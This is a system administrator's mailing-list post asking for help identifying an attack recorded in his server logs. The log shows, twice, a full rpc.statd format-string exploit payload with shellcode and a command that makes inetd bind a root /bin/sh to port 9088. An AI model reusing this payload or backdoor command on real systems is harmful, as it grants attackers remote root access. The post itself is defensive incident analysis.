Has anyone seen this type of attack before? I'm not sure just where to start looking other than CERT, but is it a dos, or an exploit of a particular OS/package? Thanks! Here you go... Active System Attack Alerts =-=-=-=-=-=-=-=-=-=-=-=-=-= Nov 3 23:45:03 www rpc.statd[366]: POSSIBLE SPOOF/ATTACK ATTEMPT! Security Violations =-=-=-=-=-=-=-=-=-= Nov 3 23:45:03 www rpc.statd[366]: POSSIBLE SPOOF/ATTACK ATTEMPT! Unusual System Events =-=-=-=-=-=-=-=-=-=-= Nov 3 18:01:00 www CROND[6057]: (root) CMD (run-parts /etc/cron.hourly) Nov 3 18:10:00 www CROND[6059]: (root) CMD ( /sbin/rmmod -as) Nov 3 18:20:00 www CROND[6061]: (root) CMD ( /sbin/rmmod -as) Nov 3 18:30:00 www CROND[6063]: (root) CMD ( /sbin/rmmod -as) Nov 3 18:40:00 www CROND[6065]: (root) CMD ( /sbin/rmmod -as) Nov 3 23:45:03 www rpc.statd[366]: SM_MON request for hostname containing '/': ^D÷ÿ¿^D÷ÿ¿^E÷ÿ¿^E÷ÿ¿^F÷ÿ¿^F÷ÿ¿^G÷ÿ¿^G÷ÿ¿%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %0242x%n%055x%n%012x%n%0192x%n\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20ëK^\211v¬\203î \215^(\203Æ \211^°\203î \215^.\203Æ \203à \203ë#\211^´1À\203î \210F' \210F*\203Æ \210F«\211F¸°+, \211ó\215N¬\215V¸Í\2001Û\211Ø@Í\200è°ÿÿÿ/bin/sh -c echo "9088 stream tcp nowait root /bin/sh -i" >> /tmp/m; /usr/sbin/inetd /tmp/m; Nov 3 23:45:03 www rpc.statd[366]: POSSIBLE SPOOF/ATTACK ATTEMPT! Nov 3 23:45:03 www rpc.statd[366]: STAT_FAIL to localhost for SM_MON of ^D÷ÿ¿^D÷ÿ¿^E÷ÿ¿^E÷ÿ¿^F÷ÿ¿^F÷ÿ¿^G÷ÿ¿^G÷ÿ¿%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %0242x%n%055x%n%012x%n%0192x%n\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 20ëK^\211v¬\203î \215^(\203Æ \211^°\203î \215^.\203Æ \203à \203ë#\211^´1À\203î \210F' \210F*\203Æ \210F«\211F¸°+, \211ó\215N¬\215V¸Í\2001Û\211Ø@Í\200è°ÿÿÿ/bin/sh -c echo "9088 stream tcp nowait root /bin/sh -i" >> /tmp/m; /usr/sbin/inetd /tmp/m; Nov 3 18:50:00 www CROND[6067]: (root) CMD ( /sbin/rmmod -as) Nov 3 18:50:41 www rhnsd[6068]: running program /usr/sbin/rhn_check Nov 3 18:50:43 www rhnsd[766]: command returned: Nov 3 19:00:00 www CROND[6071]: (root) CMD (/bin/sh /usr/local/etc/logcheck.sh) Nov 3 19:00:00 www CROND[6072]: (root) CMD ( /sbin/rmmod -as) Gavin Durman --- Xavier University LAN System Administrator ================================================= [EMAIL PROTECTED] ICQ: 20277424 http://durman.xu.edu _______________________________________________ Redhat-list mailing list [EMAIL PROTECTED] https://listman.redhat.com/mailman/listinfo/redhat-list